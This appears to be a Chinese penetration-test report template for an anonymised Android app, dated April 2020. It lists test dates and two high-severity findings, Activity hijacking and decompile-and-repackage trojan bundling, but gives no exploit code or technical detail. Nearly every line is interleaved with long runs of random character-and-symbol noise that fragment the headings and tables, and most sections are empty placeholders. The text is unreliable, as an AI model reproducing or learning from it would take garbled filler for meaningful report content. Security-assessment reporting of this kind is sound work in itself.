% m8 f' j+ x" J) p; Y7 E
0 H% G( Q ^" w& h: |: F2 }+ _ 1 Q$ a- G5 @5 }% j$ v& b# T h
& b5 T+ ]! P% N8 i1 o! N
7 R5 L' O% ]# y' s$ N& p
2 I' i2 `* d3 p. T% Z
3 i' W( ~+ i2 z5 }. ]- T5 J9 r* _# \1 e1 |
3 G5 g1 x- A9 r8 r3 ]9 \3 m1 f
. }: H) g6 Z( y4 Q
8 Y6 B# k# I u! _! h
. @9 r, t) ^0 g/ Q: `3 H" C 文档编号: 3 L) f: j! b6 m! e: U
+ @5 L1 `( V2 j; Y- m: V
4 M* o* V5 k: A' h
, f. e- q! t; K4 k6 ]1 `2 y 6 ~4 [( G0 A# K* {3 B: _
. r. p* @2 d6 j/ I" \
; Y( R) J& W6 U: R; w/ o9 \* m7 B+ D' p2 x# d( n1 R( K5 h
3 E, y5 M; j8 ?- g1 r& W! L. m2 P' v8 G- l# U/ V; G
5 C. |8 ]' U( `3 W) @
) @* C9 C+ i; s
- B% N- F Q8 S$ A1 J8 C* z+ L
; {. X2 S2 j$ m* N! r9 m
- S( C2 ^: a1 Q ?5 w# H- ]/ ~ / f3 T1 } M; f L
/ u( C% a' J% L0 q: ?- J" u7 f
8 M# O. N' \. Y9 N6 d" Z! o
- P5 q( ^ H* P/ C5 H7 E0 Y" H
( X4 V+ C% f+ v0 {" v! V" }8 o; T1 ?1 _
. `1 }" d& \" Q1 E9 b6 i
2 ^- l+ o' R4 K' o Y+ x! W
7 H! D! Z6 l6 q" M# C. F5 i) ~
. @4 Z% U5 K( T9 y- ^
: F3 s! b/ }$ T# o$ \
4 }9 P6 Y# [; B- s* T! @
2 E& J5 T( k6 u* l. V" M5 e7 |# _3 [! g1 X) |3 Q' k
p V% B0 w% V/ p5 y* `1 d
m$ Y2 [/ J4 s5 r
: @) i S% {5 I2 S
5 b% x" S4 Q1 e
" J3 P0 R) w+ k* d5 x2 r- o( V
3 B) Z/ H6 z5 Q5 P2 I
某某某APP渗透测试
' Y$ O, ~$ u1 D1 g6 f) t i; z8 G7 W
0 j8 i$ T6 A( d3 N0 t* y
8 ]* s( A* T8 d6 F9 w1 P! g' m
! E& a% \4 V! e3 u: R! q
) C( ~5 j [) _9 i4 z0 [6 M5 P0 v
1 J4 q+ j& E& w0 X5 ^7 {* z+ g
' J% M8 H' u' k, z
; E; K0 g* X4 y- Y5 @9 W. G; { 9 V5 A: |; D7 b* d# d0 |+ |! r, A
3 q; [) L3 J1 H9 A( _- m 3 c5 P1 q4 |9 C9 W! `( n
/ g5 P# w9 \+ Z2 R, m
" O2 G( j; Q) B# v
, `' ^3 U2 `$ l( M, T* P
) m* g- q. c4 _3 z# ]: c. i2 \/ \! k* ?# W& p+ B9 w" ]
& }8 l; K& K* c9 N) ?$ W7 U/ }& B) H& S& `' _5 R7 R
1 ]2 k) Q6 u+ ^0 h: o# C
3 o* E) m0 {- _ @. v8 i9 w
e% Q! l1 ^0 ]. n z8 _8 o
$ j" X. {' {) z, C3 ?1 T: }( \% F
+ T( E" p* X3 C M$ q9 \
7 D, x, S. Z2 Y3 R/ K
5 U. C* p* l3 ~5 d, P6 n2 |) @
, A$ Z) x* c- D4 R ?1 k4 Z
3 d( t/ q! J L
7 v8 d1 T9 t$ u+ A0 G4 W+ t 技 术 报 告
2 Q2 F4 |- F: R" y8 t/ s: z) N2 n9 { S1 a7 @5 N
; _7 _' {, y7 S. s6 l, c5 O d9 z9 O2 e. C* S
8 e3 {' M% G. W$ x( J. T8 x
( R+ [( a+ }9 C9 Y# l% y3 O
}! u5 O, f. A, z B
9 L D5 E7 w) |2 U6 ]1 r$ z+ k
4 ^9 `2 A. O v& i! |
( k: O9 ?: i3 R+ J/ J
# h, [+ |2 q& D/ Q4 X1 p3 E* V) s1 I9 f# h5 _- h6 O* k0 P
1 J. E9 Z; ]- G- N2 u$ ^1 E% a5 Y( i. J5 @! I1 \4 ?
; F/ q+ i3 T T, A& v- ^3 m3 S
3 s2 M. t0 @. }; T z. D) k2 i/ t
8 Z. ?- ~& i3 ~- R/ @. D9 E9 \9 x4 V: l1 F1 g
3 ?. g5 R9 w$ T, \, e- k; `
8 i! x# [. V, Q% M6 H% a! P
4 Y% m; I- j* u4 u
/ u8 w( i# X4 u0 A) e& N
2 l4 v) @4 w- r+ }5 f0 {2 A1 S) {4 o5 @
% `, t& q. a8 F1 V5 l
3 v! B. f; ]: \, C7 f( k
5 F* t$ i/ r+ q8 f6 h' n
- @2 w `$ M% R. j o
1 Q9 w; K* l- q$ ?3 t" a
6 M- r. ?& \5 n
' D9 y* }/ c* l
- E$ Z' C9 t/ u$ [
8 m( b% F- q5 L# |: E% M5 G2 n5 J( q! F* d) p/ M5 H: B
6 C! c5 U& i, G
# w* }' m: K) S6 N! R ! _( i( _7 ]! K9 j+ \1 S# w1 y+ ?3 r
6 ~! I5 h. q. A& J# d
& c; `' B( j: E3 Y/ M* Y' u
9 u3 X: y. j& H5 z
" Q# |* d5 c( g5 J. e+ s
" b7 ^. {# i' L J5 A5 M
6 I9 Z. j6 X! U! s" C1 B0 b2 l0 B
4 o G D8 }* r' ]5 s" D6 M
5 J- l+ O4 y' B
! J- l& J1 R( Y2 F1 Z& ~+ h
9 u/ m5 {9 r" d9 A( b
1 ?2 w* e5 g- s8 C4 p
% n3 M _6 H5 J: c* p; f
. r$ T; }: L. z3 S% K! L* O2 i
7 K! R' D) y& `! H" _! [
' o. ~, g# f0 F# C
' ^7 s3 v" P' E3 E, D( j2 Z
% T) V- |: q0 e$ {
; `& Y8 C5 W, y5 ~8 F/ _. E2 V$ ?9 @6 V
9 ]$ f, F0 p8 ?6 z& J5 _
, Z- @2 d9 G% c( t 9 s$ J7 f2 Q2 N/ f2 T' u% H
) z7 J; y$ M6 |4 O 1 n. I% J, ~3 Y+ {" C$ C- a
4 _" t; J- S2 g5 C: G
3 S* L: _0 v) ^' N: M) G
' N9 i: Y+ a8 y- t8 Y3 ?4 k$ _ ; r" |6 ~* h2 {
, d9 A l/ P. q, x
0 X9 Y# j; f1 u( f2 g4 p: I. q
- B- M, g. y: d. v& o: ^1 S
: k2 ]; \6 N+ u/ k6 e- W! R
7 f: H; X, K/ t% R" p, @; Y* } / _' T! ?+ c# ~: h( ^" r
+ y: Y5 X$ E) Z4 h9 p
9 U k5 T" T: e6 z: M$ n+ e% _
3 h' Y9 a, e$ K% H9 u
( d3 P1 a' A8 |% n+ b; k3 ^! B+ F3 V* E: U& c- _% h3 A! ~) w; y) p
( g _! d: {+ {( B
% H& U7 |" S* y/ U ' r' |6 `% a9 E# J$ U% Y
! B( X' V, Y, q0 T
" h! q7 S" a7 T5 A7 K
" z- a6 e$ ^/ Q* X! R8 [
9 J9 U8 p. C2 m B
' d/ ~0 o& E# V5 A/ W/ ]
. U+ y' D. p- {/ z' q; X: |0 x1 V! m0 q
9 h; k7 ~) V. _# D; u' y
g' a/ f4 D' c) `2 S" }8 ]. k5 w
/ U! ? ^8 C( H. Y9 }6 |, s$ N
y& I1 n0 C, w3 v4 N/ C
6 l' m0 Q2 q0 P* J+ x
) j! g; f- m8 n! @
, u) G! X3 Q8 Y( i! A A
% S) p5 w, T* z: W. K ; f( B& ?: e, @: ^ G
( ?; |" _0 r$ R8 O4 h5 F$ w/ o
( Y. Q6 f6 z; A/ z5 Z$ V/ K8 W% F7 r: o" F
s0 D& N' z! x
9 ~0 r% Y3 Y6 b: g. |$ V
9 A7 e9 Z/ ]! c/ h+ b3 u0 N
0 x. b( T0 Z. E3 o1 k
" O, H' q$ P: J+ ~( y
4 a: b* n7 Q; J8 u5 |
1 f5 C" S4 K& O" R) G9 t5 y) L3 y
) Q! F' J/ u2 o: `. ~( j
9 B+ |9 _) f, x6 R, L
( b" l* i; s* }( R& m
`% ]) J% l; P& \7 \
* j+ Q1 y$ E5 U, c$ @
1 |6 Z% N, |9 G7 @
- ~7 P3 K( p) D% V- G
4 n2 W) L# O. B1 O( n, J/ h" M; e. U; A
二〇二〇年
9 l2 H. ?: g: ]% d& Q6 Y
. i0 {/ y2 ^3 G( l- W5 m* S+ l
- _3 d" c: ]7 j8 t4 D
$ [, F) y! I; [: l- P. A7 J9 Q: e
/ t Q9 J' J/ z) A( K& C# S0 D9 B1 x! P
. p. ~; z* z, j: V. D8 Y# F
- l! c: \* T; q) @9 B
3 S" ], h$ e q G# |8 W; R# e, g; W4 G4 v) u( }" z
& }; p/ `5 a. g
, B, m. f2 b" @5 I3 J
+ B, C. o( e7 }, ?
) [* l5 S, I7 J, T
1 _3 j7 j1 b, A; F4 k: L* q* u, c! i2 W
% K e1 S! e7 {% M( M
. C% F& i, S" I0 r7 ^7 t8 b! @
" P* O! P4 N V- g* r5 I& N
1 l4 o( ~5 ]3 k: k & e$ U! d \: ]
6 Y7 A% E6 v1 d ?5 D 目 录
0 ]# I! e ^, E9 y3 _+ a& {
! ]7 H3 N% n$ A9 Q! _/ a9 j
( R! I* g& z, R" \/ `. |4 T! N# L8 k4 b# w- e7 J
4 W+ Z6 y# O/ }: T
4 i _) j$ O f6 V
' ?: c6 V$ O6 _1 j
( ]$ X( I3 j, W$ p* ]# i7 Y ) B) _! V/ d" R* A; G" R
; f% q4 K) L& S& Y" v
! d% G- e3 t2 \& B* o" Z0 x- v e8 P5 x6 q* D
7 _# A. R4 j+ f0 `6 H3 |, \* h* F+ e7 G# D
1 概述... 3
4 O) w3 w8 y6 Y% f& \. S X0 Q! P- N* J+ X, `8 }$ J& U2 s
' A0 y- F" A& ^+ b0 T8 z! {
, Z9 E* h1 R$ B2 Z) | : K. R7 a3 X: E3 N- A) ~5 ^" w
" m0 O& i* x* k) x+ n: i 1.2测试时间... 3
, {! E* l! H3 L/ I
3 j. X' B1 D% x; y& J: H
! F; [- h2 W& F4 f! ?5 H K' n# H/ H+ t) ~* `
& k1 S5 ]! V U1 [( E1 P2 W
+ O/ ^7 k+ E& t z, O
1.3测试对象... 3 ; t1 M x9 U) w2 z
8 r4 Q( D; ^* \8 y; I& Y0 S
" P2 Q. {7 ]" }, `" ?( j$ h" y+ G) X# q9 e9 S
8 ?" d' c. _& {* P6 R* s
7 v1 V2 ~) y7 }2 ?$ k# _9 j( V 1.4测试结果... 3 ' C. I/ U$ M4 m2 h- k
/ Z* a D% v% A u- Q8 _# q
7 o- F, X; z c. l: {3 X q& R& M4 B% m$ ]1 u `- h$ a
7 k( z6 J# A' @& {$ q# r# N
+ o* O3 I% w" P. q! Y' ^ 2 检测结果... 4
2 i+ Q8 c1 c- j# A' B' z }: F: T) ~4 I/ Y6 ~6 H" I5 D
* P% a+ V; c8 O9 u" ]# J. J+ M4 j
0 e3 h$ L6 g0 F3 \
# J- J i. H: K2 m/ T
. X0 y2 ?- p$ b' c6 H' Q, B 2.1 某某某... 4
5 y8 c% t& }6 d. ?1 D
5 v5 n. B# a4 _6 s" d5 Z' b$ J
# x# V- b3 u3 o+ v9 y* h* v; W* ~6 Z/ i5 j; I8 v' p
, q) z+ V% L, h/ c
% g7 Q0 `+ L/ ^6 G$ V4 t 2.1.1检测目标... 4 9 `4 L( P- w4 f' ?' J5 a5 D, k
/ W9 W2 P) S# z
5 x/ G G' _# B
$ w+ I; Z4 E" m1 T' x , \; P! G5 D9 U) o. P
% x0 A' n! y, g% ~/ m 2.1.2检测结果... 4
6 }% T; K; |8 v1 U+ x; q7 E' I3 E3 B8 A4 h& m6 G" {
0 _* }: q4 T$ q; E3 @' c/ B# y6 ^1 I+ C( K# B/ W& I- R# c, W
8 B: m( X! f# B# @# c/ M* U, J/ N" U1 s% \/ \
2.1.2.1. 4
& C" P$ {: k+ i% p" s# u2 v! o! o
: h1 j% e% s/ P7 e. i
, D' D5 f' |! ]! C% t
Q2 ^$ U `% B + @, X8 ?6 L1 d8 O
4 N1 u& m6 N _
2.1.2.2. 6
]3 b8 F+ Q$ X( A% B6 q
1 q. S0 F( Z6 v7 h( `1 t- e& p
8 X( @7 @ J% ~0 p7 @9 ^% { w! U
2 d* p" N% E; { } . {! R% _+ W0 C* Y* R- g& }* l0 j
) @0 X/ s- ~7 ?" N& ^& x
8 ?. @4 l: l" l8 c! F
- D# z/ G. o3 f; W0 j
6 I( Z" b& A' z, r7 G1 }
$ x6 K1 l: n4 \, i9 P# o: c
; H7 t: y9 _7 Y8 \& M
& q8 ^7 \9 |( z( \; G* {0 e' q. M
0 h8 S* N" P1 ~% @5 e/ j2 Y L) u6 N5 C3 W& k. W7 I1 ]
( X: k4 I. y' V# R. X. q& X7 y% @' R# y9 N! s# o8 s
6 n2 g- i1 k& B& e) j! M
2 _( ]+ V. @ x* `. p
* d4 p: D) `) Q2 i/ _6 |% t3 U; J ]. I- O
1 概述 7 j+ z7 V9 p& h5 P4 u
6 p: ]5 q! Y1 G- D% J1 y( h
1 x2 J0 c, K2 f- W; K
& [1 ^9 N7 F! p1 g& j4 l9 W ' I! T: L+ `; O: u7 o' o
" x1 K/ `( C8 C) R a 1.2测试时间 / R/ A5 ?' z1 D
9 t+ l+ Q) k, E" r& W& L f6 O7 {
* B' h) _3 \# I! X
- o9 W5 K1 D5 q
V: M2 e5 ]8 | p. P' x' [, D i6 c- G8 A1 S, \
6 o2 b4 S. K. W& V6 v/ u
2 X, ~5 M$ r( M, x/ L ( W% k7 k2 m) U1 `3 ]0 L
+ E3 ~2 k: c7 [% U# h0 j8 X+ U |
! b0 W( s& Y( x- k- `7 X8 U8 }+ p6 d7 e5 A) T; S' r
& f4 u/ }) [; g9 U, |
4 H. `% v# a( ` 渗透测试时间
- R4 ]" v- s0 x( X
& c- w, H6 z7 S6 J5 Y, L3 B
! Y9 V3 y# J8 K `' `& X D; F
; b2 x5 T: d' t/ q( f& L0 f | : {( Z7 y' G/ F
1 R; q- F9 H% t' x
9 ?) a+ B/ p: a! R5 E5 w3 f! a G8 }: P) y K
6 ?7 \8 A, h2 c# J9 \
0 F' M) G" b" E( j5 k0 E
| 2 s4 j, y- r8 Z$ _: B3 e. M4 d
3 K; F6 T& _+ N: p0 e' w' B
$ s# z! @7 X/ n2 _0 Q5 g) p" O0 C5 \& |3 r2 ^
起始时间 2 O) h* i2 X0 f( I1 b
9 M3 C( k$ A6 ^# y) J: Y 4 }5 V$ c; ^; u. i) ~& r9 H
' S; Z# w$ o$ q/ H/ z( M r0 _
|
3 ^' _. i+ G7 _! W, u. ]- s% Z8 W8 Y3 _/ t6 @( \: ]) b* n( x
- h9 Z7 w; i. L* a1 ^; N- J J$ x) |9 e3 t% E! t
% Q" G* I p& g% b- ?. \1 @ o
% C9 ?( n; K2 _9 f 2020年4月6日
) z. e- L& n! A; }1 d# i
. B' k6 @6 i! R' ^3 V8 q: c
3 A$ F" D- P4 S8 L# x6 r# W* u5 [
; e$ p6 ^: J- C; t z+ d' o | 4 b8 j0 P3 ?7 f/ B
4 r3 f( g$ h9 r8 J; o+ ~0 C$ ~/ l6 F
( n6 O8 S+ B4 Y9 J, E u v* T
" \. K3 o! n8 t4 V3 `, \$ O; C
6 ?! j. x, C$ Z- }" V5 L$ U# O2 h8 ?0 T# ~+ L1 {, Z
| / @7 Z5 h# Q/ D9 H" m
+ c* Q5 x* m5 ]
+ C% l4 g0 _* F
! G, J& V# L7 M7 L( n( ^5 \% S 结束时间 $ M& S/ y' X6 E! M/ V; z! s- c
T# c4 w9 [) ]4 X, c2 I9 [
, e8 n7 n9 S F1 |+ x6 p$ o: Y9 X9 _+ m) [3 R
|
L0 |. u& l' H# { }& F. I5 H) W, X2 z' u! Y
, n9 U( h. T0 b3 e! w5 r1 ?
. o& r1 n' |6 v: L
" I! D. ^* { N
( b9 h% n. s, m1 r5 {& d+ c
2020年4月9日
3 B' \& q! D, l1 G+ O3 h2 a9 Y4 E- h
\% Z% ^ j. F
0 a7 W( B. B; A R |
+ X! d' T: u& v, l3 k1 Z+ _1 ?3 w
, L4 Y5 k. U7 ] e% b
' H9 \% w |" K6 Q; N" e+ U6 D$ `- ]; m; T. N3 U+ s; S
9 z8 L$ w. |( P4 {, _1 j
* A8 j3 e5 j$ S/ r X) A- D6 O
6 P8 R( I6 t8 W# p; R# C6 t9 P# ?$ O ~- ?8 B
) i& i" B8 J- {9 i8 \: K, Z3 r# R' R
: U4 E* T+ m( y! e- c# O; G; f1 N
1.3测试对象 ( i# M! [6 W+ f4 D5 [! Z
/ M; E- ^! Y! W! n: X* p
, B6 c, B4 p+ ?4 K
& Q# p6 T4 Y6 B/ S% W/ }+ c
" \, c+ D& E' r
W5 \: c1 A8 y- d 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示: ; r7 F2 F5 B1 ^
% C3 E3 \& A# W2 y. X
; u1 k" W* W% c0 L) ^" O+ ]* `: P K1 Z8 E- G% @8 C
3 u9 v7 o' }6 H8 E; M* t$ @$ o* r$ J7 T6 U A9 p
表1-1 检测对象
9 q; o. I4 }; P6 Z0 K! W, n3 F7 ]2 ]9 k' C- g! B4 B
' o0 B, n! |* B' {' [9 H
, V+ F4 Q E) Y. G. G
* B1 ?+ Z$ `+ f( D4 W& y! S% P7 W/ T- J( |) r( P; v; d& T, ~
# r6 F/ M# a# K! a% v9 |7 P# g4 O" `
! J0 y6 E i# d
# Z: U3 T1 [" s& ]
! X" i4 N5 i) ?( k6 Q4 s0 H: Z |
: [: v% |5 N- z4 k4 y7 t# V* o; ~2 a! i3 ^( E" X, ~1 |6 k
, R0 }; v) T0 I. {
( A7 [6 @1 {; c7 H0 r& K: `
序号
S6 S% l" l3 H" z, ]- a" \! C3 E! ?/ a" a" ]7 }7 L9 t1 `! I
. e/ a: O, C3 J+ e- D* ~3 W% g& W# c, V8 W5 Z7 N
|
8 t8 H& K7 R( j! a7 x
2 w1 U) W* a/ S+ F# ]+ A " @ E+ w5 Z# b5 C4 K( n% @ S
! t/ ^, C# g" y0 M8 E# U % _6 S3 G4 _2 A5 I% K! L, c
Z! c6 E; Q2 v8 }, O 测试对象
% Q+ F# b- [& W# y3 J
- ^: y0 U; Q ]1 U) h( Z8 U/ n2 R+ x , v# z1 Z$ `. Y4 k7 b
& p; L$ }/ R/ z% U+ E" B% S
| ( ^; r5 l2 Z% ^. V
i% X. ^4 f" b0 e1 Y
7 j* N4 \: D/ Y$ O
2 }$ `7 Q7 d% ]0 J5 c, ]+ W; I3 w1 } $ |+ c$ H. e% P, T9 |5 O
; g1 F7 o# J* Y* V( d
测试地址
& n2 K% v& l/ \8 }3 g `6 Q6 y$ }& ?* X
: K+ b% h& B1 q+ w3 \/ c2 r# Z
! J* d1 \5 e# y4 Y$ x1 M4 J |
( w$ l7 v% ^* z6 K
# J- @$ \4 l8 O+ r+ _# ?8 S/ _
/ B5 F) e7 P/ G$ w2 F. A3 Z! G
+ H1 r: }; F5 h! ~1 y$ n7 B8 \8 w6 Y+ z7 F2 f& L
安全漏洞 ; { S+ P/ Q: a; b* V
9 C$ c# y1 T; c
8 B3 P, {! M/ @9 S/ y, t( z
3 v1 B& t9 i! N, I% p6 P3 X% K
|
1 J9 o1 o8 h6 B5 v
) X7 z/ y# X0 d; `
S% a4 {% l/ m- ^
9 T! K, T" Q7 F$ M/ Y) j1 V# C% Y ! a: U ^4 p, B0 o
6 X! B1 s4 x5 R" q0 C
| 9 K0 s4 o- {# d: F+ Q
3 a- l* h# ~- E! O N5 m- c9 S) x+ A
. F8 ?& l8 ?+ s J0 F2 S
5 n' @. y# w5 Z' R% P9 [# _8 t4 U 1
1 t3 g1 N% D3 _# F
5 w9 t' Z7 f {2 \& ^
5 h; k+ H3 o) F: A) r3 O& D
$ B g' a1 v$ _' p |
. s( {6 z1 P6 S1 Z0 `- G( d* {$ i5 A. R, n
- z( t8 _8 [ Z6 L9 {) h6 n: i; Z0 a9 ]8 [
3 x) _( Y& n2 V$ Q
/ l2 ?3 r, X9 G' k# X
某某某安卓APP
0 v/ y9 Y3 A: g3 p/ \) b7 \: V/ r$ {$ C) G0 ~. y7 P7 M$ ]
0 b m' Y$ ?& {" }5 Y" d
$ Z6 B X# w5 a |
; J+ Y, D% s) S, w* A, C, T( u9 D- g) M% a2 L
+ [7 V, W4 n& s( u8 ]
$ ^ i. B$ e4 ?4 j4 g 8 u. _/ |' t! m8 U1 [0 N8 L
. ]- l' B9 f( E% S8 z: O" h* f
, B8 i1 ~' Y; N# u
! k2 ?$ t4 ?4 D* U: O' l# y* ] P& L 6 k5 ?# m- w4 N! u
- B5 X% f& L' ~" [/ G$ q( B
|
8 Q+ d5 Q) ^6 r6 b) o) K* O
7 g# G* H) ^2 F6 }1 Q( n
% e/ Z$ k& N, r7 W0 Z$ z/ F. o2 g* P1 Q
- _' d3 n# n# L0 ~# m
( z |& G! Q- a7 [! x& a
2 6 ?7 Q$ M4 B8 P, \
) c4 P" \8 f, f" _
' P0 O- |& ]8 @; Y' |& W7 S7 }: l4 `
|
' K3 b1 Y; _3 V/ e) g4 b3 ]' N
( j" f6 _! t9 ]' A) ? d9 N) U
; t; ~- S6 Q# }% g/ [ t- g
6 H- E" ?& `- X6 Q0 \" Y
- q! a/ X- v$ p$ ~4 l' H
9 q- l" W# J8 c$ I
: o( X r5 O. ]5 K3 |6 g& f1 s$ { B8 X5 T
5 Q) j* I$ D1 S- f7 l4 R1 q
: P5 M' z1 M0 S% C; q
1.4测试结果 - e0 H) w6 L+ a' n. Y/ V" y* g
5 U A' F* m# t' S
7 U% _9 O- J8 F6 d( x7 f" t5 h3 ^0 @! b; A! J# M/ Y5 u
8 S, ?3 o' }2 J% M3 v/ }5 i* Q, s7 e ^7 z; n
在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
0 n9 y, h. B2 A& W+ y/ p+ R& w; ^8 I2 g. o( W
/ V2 b) o. c- z8 h
$ H4 X @9 a& u! j
2 n, S, O2 c2 g
1 r# K6 D+ V* B1 N. w* Z
7 [- _* Q& [3 F. A1 ~4 u( H) S) Y! }0 `8 a1 |
- f- ]$ \: }9 ?' N! j6 U
8 o g; q# | U( b
4 p8 e9 z( D) \9 p3 N4 g- [7 O- L5 |
' u' D' F2 W& B$ |' l, O3 q; d/ B
& v; [; u' S, q: y
N# `, ^2 W. | @$ C: A* Z- w7 k8 }/ e
7 K) P e8 m2 d7 `0 a3 L8 F& o
|
+ e/ ^, q* l S" o$ P) c) {
$ X# u. G U3 W% Q6 X1 l
& f# \5 z/ z# i, y6 S" g; K* _& i; w
序号
9 c3 N2 N' \5 @, [* w8 O6 v* N* C; H3 z& X
. E2 _+ Z) U4 `* _# A8 ?! t/ S- R8 x. U8 \, S6 V5 _' E$ Y
| - }1 m( ~# Y# }3 [ u
2 y+ J" O. f4 `2 e) I
) Z, B7 f" r& n. r8 u; S; I* v. N* w
# A8 R( t& c, w; o8 Y
% w; |. C0 [7 r& V( k- q+ Z' e
, M- N; I6 v* S. M9 n+ b 系统名称 0 P `6 s* m' {, n4 B. J
# K$ f. T: Q4 n q$ u $ M" \& o. H5 H
6 N, J4 n% A2 k$ W5 A7 d5 F |
! T- W k1 ?3 w1 \ Z* Q/ t# B+ Z G( B+ t! d5 j
1 ^$ V2 \) C) E/ O
, f% D0 F' V" J1 h! H3 R4 `
+ s! Y6 d# @2 [5 [; }( y8 B
, D" ~& C9 e# Z; c 漏洞名称 $ I) M0 ~# y4 f n* r6 h
( O6 n! b g9 m7 @, f- j
' P! [2 H$ l8 n: N. K% k
& B8 P, f; h2 r/ P1 X6 P9 { | 3 j9 a4 L; l$ L* _, J; B
+ x/ r# K3 m! |
$ z1 } Z5 V& T' z* v: V
$ X. f7 O4 |! f- K+ e+ s9 S
/ [# q; H5 H2 Z2 v9 \) H; N m2 U# a% d
漏洞危害 2 D w" l% M- M3 A, |4 U: s; z1 Y
' H1 x3 e4 B" U+ K3 F7 g3 P- H6 Z2 [
! \( p% l* A( v8 Q3 L9 r; l
9 f, h, i. N; E# [4 z d# C
| 1 [( m# b R& k# Y- X
& ~' _7 A9 S. F9 C
. j( r4 t e" b9 |
( |9 P e; ~& o- }* J8 Z/ j9 H; E * j) Z6 k9 Q/ [. @& U! V+ {, ^, u4 H
/ q, H; Y. g9 O) K 修复结果 ; d' m! `. g1 K: ~! Q
3 m- {$ }0 O5 j+ i* s( y7 A
6 F6 O; F0 Q/ K" g
0 A1 D6 y8 }9 i5 I) v4 m F0 v |
* O# o6 Z2 {( U4 I0 n% N3 Q9 X6 t; ]- x0 V- Y/ [
3 N/ w C% i& B; m8 o
+ f5 A8 K& W: G8 G# m! r; `
, L3 |. q6 e, ?2 i
: t5 M$ c' k1 g |
$ Z5 C/ C: ?2 T6 D' |3 F, K
; d) o$ L+ q, e F: T9 q
& D! |' v: o9 ]) K5 u d5 Z0 u/ z: Q8 m7 z
1
3 Z: ~: {+ h. P, s4 a, i$ F s6 g& i; L' y, T
7 J# v1 |- x. k0 S! ^7 y) _4 y
. a/ m; K9 m* Z' o! C | , l. U- M7 z/ j! V. f4 p
" T0 n4 {, X3 Y! m
2 v. Z* ]8 Z: r+ q- j( J% H9 N; j" \! _
+ \: @/ h7 l6 n& C4 Y' [! p
! B" y, e7 Z/ n+ y4 Z/ k" K7 a5 P
某某某某某某APP 6 U6 d# }* e# E; S; X. z2 b
# K( W e% J; Y$ d& q1 P% u F1 @$ | L
1 w8 ]6 h7 ]$ u. ~1 s# C# J9 E, ?3 X5 G4 @$ Z0 Q2 C! p
| 7 h: L! M8 N( M' O1 W
% D9 ]; { E9 o1 S7 V
9 }/ B8 k$ @1 h+ S# |: e8 K
& s5 ?% O! K) E1 n. o O+ E' k2 g& ^0 F
, t& g+ y- S \( A Activity 劫持
% H. W* Y% |; b; m
8 s1 D. d1 y& M/ i$ ]" ^' L |* Z- b2 C6 n' p) Q j
3 F0 D3 \$ _" x / Y% ?. x N' u/ I" Z/ _: p
) y5 F- q1 E) l
4 l% ^& r# i9 P" s: ~9 ]
" B0 B2 g/ H4 d# g9 M
& l% _' K+ T& C; G* V; X( l2 ^2 e9 T/ d
| ! e h& l5 A; B1 Z3 ]
% k, A) E8 f: Z+ w z
8 v9 a- b& ^7 U- C8 B) R7 N
5 B3 y, ?6 ]+ ~* {9 M, v" A
$ A8 g8 T0 H8 D
6 B6 h [/ y/ @8 x8 R. r 高 $ g9 ?! A7 z; H- w! u5 H
) e; ~( E+ p3 D U. G+ r2 u : H }" C/ i' |/ k- L/ K4 B( H
% B. q3 ~# n% _" R% d0 J
| # a% c+ ^& R9 A8 ^$ r
! u( J: `6 X; o0 Y 2 e9 P- a: r7 W5 [5 @) S& o L
. I( e( W& C, U8 i. k1 | ( B5 t& I4 i- ^6 L! Y$ D4 m- ?: W
* M* A W, H# a* `& ?- w 4 q# C5 ^. O" L) U, [5 t$ T$ \8 w( q- t
4 [+ n7 ]# h* j g. s( z. X. c 8 w7 ?8 I. Q" ], e n
& z2 {# d4 m! ^
| $ O/ i4 D. f a; I/ v
2 V; p- m1 n5 _( N) v; c/ @
k5 o% b+ c e! p. a
) G+ n u, ~( Q% ]) w
0 e4 b; \( [. \# |- J* z# C e6 G6 `# h" V! }6 f, u6 u! [
|
: k# H+ T+ C; H; Q- z: N' ?8 A4 E, h
9 C* C. @$ Q9 D2 {% O' \. f+ A% _$ B$ O4 u2 N9 N; c+ }
2
% I; g( G) P% d j* C8 `& E/ q1 |
3 l0 A/ M, h2 t% v1 g
3 ]; Y- E2 j$ i; n, i* {% o | 1 E$ M$ W- s5 ]6 t1 ^
* j3 {# l( t9 K* i: K" p* N & e, o3 K2 q& t# K3 `& p5 g
1 t! ~) r2 O9 ?! A
^+ \7 q. H5 R% x6 t% W+ I7 Z3 J \, U$ m, O( o
某某某某某某APP
+ L* U0 p* Q# a) p4 _) S# i$ l: J2 J N
, n# i2 u. q) E3 Y* g8 q P- r' Q
( E$ r9 s; P& o9 d' |4 [; { |
' N3 S$ Q6 P) }0 J; Z. T( l: o6 X+ i8 `* [: l% h3 D
: n4 v2 l. `. `9 r
9 u5 d5 ~- P9 C0 B- K, _; ]. Z+ ]' `
1 h( H! b8 @) s0 |8 j7 C2 k/ _& c" J0 S! ^
反编译二次打包捆绑木马、篡改APP代码 $ J2 e$ E" N% j) E3 z
; V, v; g% U/ S2 q, }6 U: A9 P
/ }% {/ e- X9 P7 k' j1 [* A
# i* \2 X" r. v j$ y5 E4 K& p3 A |
% [4 S. n7 B; O, U$ n* E- T$ P8 R: I% f
. ^ J- W. e- S7 N" C% B: m
% ?' v- j/ e @! [" u 2 `5 t) J( j }3 ^& H3 [
, I# b; i2 c: p' \2 p0 d2 L 高 * ~0 k# g0 ~7 N( c; E9 I% E
3 u* r4 C$ q1 N4 D
/ Y( U8 s7 V) V1 L n& A- x% J
2 R5 e( q9 E) ]7 T9 H. `7 h
| ' x( x# m3 D0 w% a6 ^1 O
( Z# i! l5 X d/ I6 Z U 2 v3 l0 [$ B! Y
5 A- x3 o+ K# M
1 v0 y. Y9 G% k8 i8 x# m
1 U) z) W2 p5 ?
% Y* R/ b; n% H9 i: {2 e+ N! Y3 j+ b" Z2 q' ^( }
{3 n( g9 |5 J' P3 R7 L" T
! U9 I/ ?/ q4 r; k
|
( I9 p8 P, J4 [
, w% K* M% }# w# u, o3 z
9 m ]1 v% j. x2 I( n
" X( z& H) i1 q y1 A+ @
5 M( H' e) G: {# z5 f6 d K- j. k, r9 H, F: G9 ^- u. q) D$ C
5 Z4 p" H, r! y0 c5 ]
: X% n0 D7 ^. Z) i# P# q" h
- w3 Y3 u5 o& H/ O
3 n6 Y7 M# V' ]; M& j4 b, n . `- ^. T- B( u3 ?0 L
) Z. S7 ?' K5 w
6 l8 j3 m$ B; k# o4 M. j
2 w* [6 i6 @0 Y- ~) _; i. l4 `
# Y8 B. o( |* O9 r8 \. O
